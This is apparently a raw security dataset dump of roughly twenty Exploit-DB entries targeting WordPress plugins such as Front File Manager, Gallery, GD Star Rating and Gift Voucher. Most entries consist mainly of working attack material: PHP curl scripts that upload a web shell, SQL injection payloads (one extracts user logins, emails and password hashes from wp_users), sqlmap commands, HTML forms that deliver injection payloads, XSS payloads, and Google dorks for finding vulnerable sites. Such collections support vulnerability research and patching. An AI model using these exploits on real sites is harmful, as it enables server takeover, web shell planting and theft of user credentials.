deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19012
Description: WordPress Plugin Front File Manager 0.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-08
Author: Adrien Thierry

Exploit:
# Exploit Title: Wordpress front file manager 0.1 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/front-file-manager/
# Date: 07/06/2012
# Exploit Author: Adrien Thierry 
# adrien dot thierryfr at gmail dot com
# Vendor Homepage: http://www.webikon.sk/en
# Software Link: http://downloads.wordpress.org/plugin/front-file-manager.zip
# Version: 0.1

Page upload.php is vulnerable to Remote File Upload. Code :

<?php
$u="whatyouwant.php";
$c = curl_init("http://site.com/wp-content/plugins/front-file-manager/upload.php");
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('file'=>"@$u",
'name'=>"shell.php"));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e; 
?>



Shell could be found at :
	http://site.com/wp-content/plugins/uploads/2012/06/shell.php
	(http://site.com/wp-content/plugins/uploads/[YYYY]/[MM]/shell.php
	
#########################################################################################
Exploit-DB #31570
Description: WordPress Plugin Frontend Upload - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-02-11
Author: Daniel Godoy

Exploit:
# Exploit Title: Frontend Upload Wordpress Plugin - File Arbitrary Upload
# Date: 10/02/2014
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software: Frontend Upload
# http://codecanyon.net/item/frontend-upload/6076410?WT.ac=solid_search_item&WT.seg_1=solid_search_item&WT.z_author=gtPlugins
# Tested on: Linux
[Comment]Greetz: Ariel Orellana, TrustedBSD, Sunplace www.remoteexecution.net www.remoteexcution.com.ar

[PoC]

you can upload files with php extension. Example: c99.php, shell.gif.php, etc...

http://localhost/wp-content/uploads/feuGT_uploads/feuGT_1790_43000000_948109840.php

-------------------------
Correo enviado por medio de MailMonstruo - www.mailmonstruo.com
Exploit-DB #50655
Description: WordPress Plugin Frontend Uploader 1.3.2 - Stored Cross Site Scripting (XSS) (Unauthenticated)
Type: webapps
Platform: php
Date: 2022-01-12
Author: Veshraj Ghimire

Exploit:
# Exploit Title: WordPress Plugin Frontend Uploader 1.3.2 - Stored Cross Site Scripting (XSS) (Unauthenticated)
# Date: 10/01/2022
# Exploit Author: Veshraj Ghimire
# Vendor Homepage: https://wordpress.org/plugins/frontend-uploader/
# Software Link: https://plugins.trac.wordpress.org/browser/frontend-uploader/
# Version: 1.3.2
# Tested on: Windows 10 - Chrome, WordPress 5.8.2
# CVE :  CVE-2021-24563

# References:

https://www.youtube.com/watch?v=lfrLoHl4-Zs
https://wpscan.com/vulnerability/e53ef41e-a176-4d00-916a-3a03835370f1

# Description:

The plugin does not prevent HTML files from being uploaded via its form, allowing unauthenticated user to upload a malicious HTML file containing JavaScript for example, which will be triggered when someone access the file directly


# Proof Of Concept:


POST /wp-admin/admin-ajax.php HTTP/1.1

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]179831654

Content-Length: 1396

Connection: close

Upgrade-Insecure-Requests: 1


----------------------------[PII_REDACTED][PII_REDACTED]179831654

Content-Disposition: form-data; name="post_ID"


1247

----------------------------[PII_REDACTED][PII_REDACTED]179831654

Content-Disposition: form-data; name="post_title"


test

----------------------------[PII_REDACTED][PII_REDACTED]179831654

Content-Disposition: form-data; name="post_content"


test

----------------------------[PII_REDACTED][PII_REDACTED]179831654

Content-Disposition: form-data; name="files[]"; filename="xss.html"

Content-Type: text/html


<script>alert(/XSS/)</script>

----------------------------[PII_REDACTED][PII_REDACTED]179831654

Content-Disposition: form-data; name="action"


upload_ugc

----------------------------[PII_REDACTED][PII_REDACTED]179831654

Content-Disposition: form-data; name="form_layout"


image

----------------------------[PII_REDACTED][PII_REDACTED]179831654

Content-Disposition: form-data; name="fu_nonce"


021fb612f9

----------------------------[PII_REDACTED][PII_REDACTED]179831654

Content-Disposition: form-data; name="_wp_http_referer"


/wordpress/frontend-uploader-form/

----------------------------[PII_REDACTED][PII_REDACTED]179831654

Content-Disposition: form-data; name="ff"


92b6cbfa6120e13ff1654e28cef2a271

----------------------------[PII_REDACTED][PII_REDACTED]179831654

Content-Disposition: form-data; name="form_post_id"


1247

----------------------------[PII_REDACTED][PII_REDACTED]179831654--



Then access the uploaded to trigger the XSS, ie https://example.com/wp-content/uploads/2021/07/xss.html
Exploit-DB #33813
Description: WordPress Plugin Fuctweb CapCC 1.0 - 'plugins.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-13
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/39038/info

Fuctweb CapCC Plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CapCC 1.0 is affected; other versions may also be vulnerable.

<html> <head> <title>CapCC SQL Injection exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://site/wp-admin/plugins.php?page=capcc-config" method="post"> <input type="hidden" name="CAPCC_MAX_ATTEMPTS" value="5 and benchmark(10000000,benchmark(10000000,md5(now())))"> </form> </body> </html>
Exploit-DB #33372
Description: WordPress Plugin Fuctweb CapCC 1.0 CAPTCHA - Security Bypass
Type: webapps
Platform: php
Date: 2009-11-13
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/37103/info

Fuctweb CapCC Plugin for WordPress is prone to a security-bypass vulnerability that occurs in the audio CAPTCHA protocol.

Successful exploits may allow attackers to bypass security restrictions and perform unauthorized actions.

CapCC 1.0 is affected; other versions may also be vulnerable.

<html> <head><base href="http://websecurity.com.ua/uploads/2008/CapCC%20CAPTCHA%20bypass.html" /> <title>CapCC CAPTCHA bypass exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://sitewww.example.com/wp-comments-post.php" method="post"> <input type="hidden" name="author" value="Test"> <input type="hidden" name="email" value="test@www.example.com"> <input type="hidden" name="url" value="http://www.example.com"> <input type="hidden" name="comment" value="Captcha bypass test."> <input type="hidden" name="comment_post_ID" value="1"> <input type="hidden" name="capcc_captchakey" value="EQoenVjf6wemPguoYT6CJwl0O"> <input type="hidden" name="capcc_captcha" value="gthsw"> </form> </body> </html>
Exploit-DB #37563
Description: WordPress Plugin G-Lock Double Opt-in Manager - SQL Injection
Type: webapps
Platform: php
Date: 2012-08-01
Author: BEASTIAN

Exploit:
source: https://www.securityfocus.com/bid/54767/info

G-Lock Double Opt-in Manager plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

G-Lock Double Opt-in Manager 2.6.2 and prior versions are vulnerable. 

<html>
<form method="post" action="http://server/wp-admin/admin-ajax.php">
<input type="text" name="action" value="gsom_aj_delete_subscriber">
<input type="text" name="json" value="["intId or 1=1"]">
<input type="text" name="_" value="">
<input type="submit">
</form>
</html>
Exploit-DB #38209
Description: WordPress Plugin Gallery - 'filename_1' Arbitrary File Access
Type: webapps
Platform: php
Date: 2013-01-10
Author: Beni_Vanda

Exploit:
source: https://www.securityfocus.com/bid/57256/info

The Gallery plugin for WordPress is prone to an arbitrary file-access vulnerability.

Remote attackers can exploit this issue to read arbitrary files. This may lead to further attacks.

Gallery 3.8.3 is vulnerable; other versions may also be affected.

http://www.example.com/wp-content/plugins/gallery-plugin/gallery-plugin.php?filename_1=[AFR]
Exploit-DB #18998
Description: WordPress Plugin Gallery 3.06 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-06
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - Gallery Arbitrary File Upload 
Vulnerability
# Version : 3.06
# Link : http://wordpress.org/extend/plugins/gallery-plugin/
# Plugins : http://downloads.wordpress.org/plugin/gallery-plugin.3.06.zip
# Date : 01-06-2012
# Google Dork : inurl:/wp-content/plugins/gallery-plugin/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php.gif";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/gallery-plugin/upload/php.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/plugins/gallery-plugin/upload/files/lo.php.gif


lo.php.gif
<?php
phpinfo();
?>
Exploit-DB #34105
Description: WordPress Plugin Gallery Objects 0.4 - SQL Injection
Type: webapps
Platform: php
Date: 2014-07-18
Author: Claudio Viviani

Exploit:
######################
# Exploit Title : Wordpress Gallery Objects 0.4 SQL Injection

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://galleryobjects.com/

# Software Link : http://downloads.wordpress.org/plugin/gallery-objects.0.4.zip

# Dork Google: inurl:/admin-ajax.php?action=go_view_object			   

# Date : 2014-07-18

# Tested on : Windows 7 / Mozilla Firefox
			  Windows 7 / sqlmap (0.8-1)
			  Linux / Mozilla Firefox
			  Linux / sqlmap 1.0-dev-5b2ded0



######################


Poc via Browser:

http://VICTIM/wp-admin/admin-ajax.php?action=go_view_object&viewid=1[ and 1=2]&type=html


sqlmap:

sqlmap -u "http://VICTIM/wp-admin/admin-ajax.php?action=go_view_object&viewid=1&type=html" -p viewid

---
Place: GET
Parameter: viewid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=go_view_object&viewid=475 AND 7403=7403&type=html
---


#####################

Discovered By : Claudio Viviani
		http://www.homelab.it
		info@homelab.it

		https://www.facebook.com/homelabit
		https://twitter.com/homelabit
		https://plus.google.com/+HomelabIt1/

#####################
Exploit-DB #39282
Description: WordPress Plugin GB Gallery Slideshow - '/wp-admin/admin-ajax.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-08-11
Author: Claudio Viviani

Exploit:
source: https://www.securityfocus.com/bid/69181/info

The GB Gallery Slideshow plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

GB Gallery Slideshow 1.5 is vulnerable; other versions may also be affected. 

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: sqlmap/1.0-dev-5b2ded0 (http://sqlmap.org)
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 10.0.0.67
Cookie: wordpress_75aacd302e2a4723897cb1d154c13f77=pippo%7C[PII_REDACTED]%7C5ae003a01e51c11e530c14f6149c9d07; wp-settings-time-1=[PII_REDACTED]; wp-settings-time-2=[PII_REDACTED]; wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse; voted_2=6; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_75aacd302e2a4723897cb1d154c13f77=pippo%7C[PII_REDACTED]%7C6988bc86de7b7790fca51ea294e171a1; redux_current_tab=3
Pragma: no-cache
Cache-control: no-cache,no-store
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-length: 120
Connection: close

action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=[SQL_Injection]


Exploit via sqlmap:

sqlmap --cookie='INSERT_WORDPRESS_COOKIE_HERE' -u "http://www.example.com/wp-admin/admin-ajax.php" \
--data="action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=2" -p selected_group --dbms=mysql 

---
Place: POST
Parameter: selected_group
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=2 AND SLEEP(5)
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
Exploit-DB #35835
Description: WordPress Plugin GD Star Rating - 'votes' SQL Injection
Type: webapps
Platform: php
Date: 2011-06-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/48166/info

The GD Star Rating plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/gd-star-rating/ajax.php?_wpnonce=<insert_valid_nonce>&vote_type=cache&vote_domain=a&votes=asr.1.xxx.1.2.5+limit+0+union+select+1,0x535242,1,1,co
ncat(0x613a313a7b733a363a226e6f726d616c223b733a323030303a22,substring(concat((select+concat(user_nicename,0x3a,user_email,0x3a,user_login,0x3a,user_pass)+from+wp_users+where+length(user_pass)%3E0+order+by+id+limit+0,1),repeat(0x20,2000)),1,2000),0x223b7d),1,1,1+limit+1
Exploit-DB #17973
Description: WordPress Plugin GD Star Rating 1.9.10 - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-12
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability
# Date: 2011-09-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/gd-star-rating.zip
# Version: 1.9.10 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/gd-star-rating/export.php?ex=user&us=dummy&de=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
./export.php
    require_once("./code/cls/export.php");
    ...
    if (isset($_GET["ex"])) {
        $export_type = $_GET["ex"];
        ...
        switch($export_type) {
            case "user":
                header('Content-type: text/csv');
                header('Content-Disposition: attachment; filename="gdsr_export_'.$export_name.'.csv"');
                $sql = GDSRExport::export_users($_GET["us"], $_GET["de"], $get_data);
                $rows = $wpdb->get_results($sql, ARRAY_N);

./code/cls/export.php
    class GDSRExport {
        ...
        function export_users($user_data = "min", $data_export = "article", $get_data = array()) {
            ...
            $where = array();
            ...
            $where[] = "v.vote_type = '".$data_export."'";
            ...
            $j_where = join(" and ", $where);
            ...
            return sprintf("select %s from %s where %s order by u.id",
                    $j_select, $j_tables, $j_where);
Exploit-DB #37193
Description: WordPress Plugin GD Star Rating 1.9.16 - 'tpl_section' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53527/info

The GD Star Rating plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

GD Star Rating 1.9.16 is vulnerable; other versions may also be affected.

http://www.example.com/wp-admin/admin.php?page=gd-star-rating-t2 tpl_section=&lt;script&gt;alert(1)&lt;/script&gt;&amp;gdsr_create=Create
Exploit-DB #35373
Description: WordPress Plugin GD Star Rating 1.9.7 - 'wpfn' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-22
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46480/info

The GD Star Rating plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

GD Star Rating 1.9.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/gd-star-rating/widgets/widget_top.php?wpfn="><script>alert("XSS");</script>
Exploit-DB #39752
Description: WordPress Plugin Ghost 0.5.5 - Unrestricted Export Download
Type: webapps
Platform: php
Date: 2016-05-02
Author: Josh Brody

Exploit:
# Exploit Title: WordPress Export to Ghost Unrestricted Export Download
# Date: 28-04-2016
# Software Link: https://wordpress.org/plugins/ghost
# Exploit Author: Josh Brody
# Contact: http://twitter.com/joshmn
# Website: http://josh.mn/
# Category: webapps
 
1. Description
   
Any visitor can download the Ghost Export file because of a failure to check if an admin user is properly authenticated. Assume all versions < 0.5.6 are vulnerable.
   
2. Proof of Concept

http://example.com/wp-admin/tools.php?ghostexport=true&submit=Download+Ghost+file

File will be downloaded.
   
3. Solution:

Update to version 0.5.6

https://downloads.wordpress.org/plugin/ghost.0.5.6.zip
Exploit-DB #45255
Description: WordPress Plugin Gift Voucher 1.0.5 - (Authenticated) 'template_id' SQL Injection
Type: webapps
Platform: php
Date: 2018-08-26
Author: Renos Nikolaou

Exploit:
# Exploit Title: WordPress Plugin Gift Voucher 1.0.5 - 'template_id' SQL Injection
# Google Dork: intext:"/wp-content/plugins/gift-voucher/"
# Date: 2018-08-23
# Exploit Author: Renos Nikolaou
# Software Link: https://wordpress.org/plugins/gift-voucher/
# Vendor Homepage: http://www.codemenschen.at/
# Version: 1.0.5
# Tested on: Windows 10
# CVE: N/A
# Description : The vulnerability allows an attacker to inject sql commands 
# on 'template_id' parameter.

# PoC - Blind SQLi :

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://domain.com/gift-voucher/
Content-Length: 62
Cookie: PHPSESSID=efa4of1gq42g0nd9nmj8dska50; __stripe_mid=1f8c5bef-b440-4803-bdd5-f0d0ea22007e; __stripe_sid=de547b6b-fa31-46a1-972b-7b3324272a23
Connection: close

action=wpgv_doajax_front_template&template_id=1 and sleep(15)#

Parameter: template_id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=wpgv_doajax_front_template&template_id=1 AND 4448=4448
    Vector: AND [INFERENCE]
---
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
banner:    '5.5.59'
Exploit-DB #16232
Description: WordPress Plugin GigPress 2.1.10 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-24
Author: Saif El-Sherei

Exploit:
# Exploit Title: GigPress 2.1.10 wordpress plugin Stored XSS
# Date: 21-2-2011
# Author: Saif El-Sherei
# Version: GigPress 2.1.10, WordPress 3.0.5
# Tested on: FireFox 3.6.13, IE 8
# Vendor Response: plugin Author released an update to fix this issue


Info:

GigPress is a powerful WordPress plugin designed for musicians and other
performers. Manage all of your upcoming and past performances right from
within the WordPress admin, and display them on your site using simple
shortcodes, PHP template tags, or the GigPress widget on your
WordPress-powered website.

Details:


The user must have "contributer" priv atleast or whatever role the admin
decides would be suitable for event submission, failure to sanitize the
"Notes" field in the "Add A Show" section under "GigPress" Dashboard allows
an attacker to inject malicious HTML code, attacking any user viewing the
page where the malicious show is posted.

POC:

<script>alert('w00t');</script>

Solution:

Upgrade to latest plug-in version
Exploit-DB #34085
Description: WordPress Plugin Gigya Socialize 1.0/1.1.x - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-04
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/40582/info

The Gigya Socialize Plugin for Wordpress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Gigya Socialize 1.1.8 and prior are vulnerable. 

http://www.example.com/?%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E
Exploit-DB #17687
Description: WordPress Plugin Global Content Blocks 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-18
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Global Content Blocks plugin <= 1.2 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/global-content-blocks.1.2.zip
# Version: 1.2 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/global-content-blocks/gcb/gcb_export.php?gcb=1 AND 1=1

---------------
Vulnerable code
---------------
$ids = explode(";",$_GET["gcb"]);
$final_text = array();

foreach($ids as $id) {
    if(intval($id)>0) { // intval("1a") => 1 :)
        $entry = $wpdb->get_row("select * from ".$wpdb->prefix."gcb where id=".$id);
        $final_text[] =
        base64_encode($entry->name)."<;>".
        base64_encode($entry->description)."<;>".
        base64_encode($entry->value)."<;>".
        base64_encode($entry->type);        
    }
}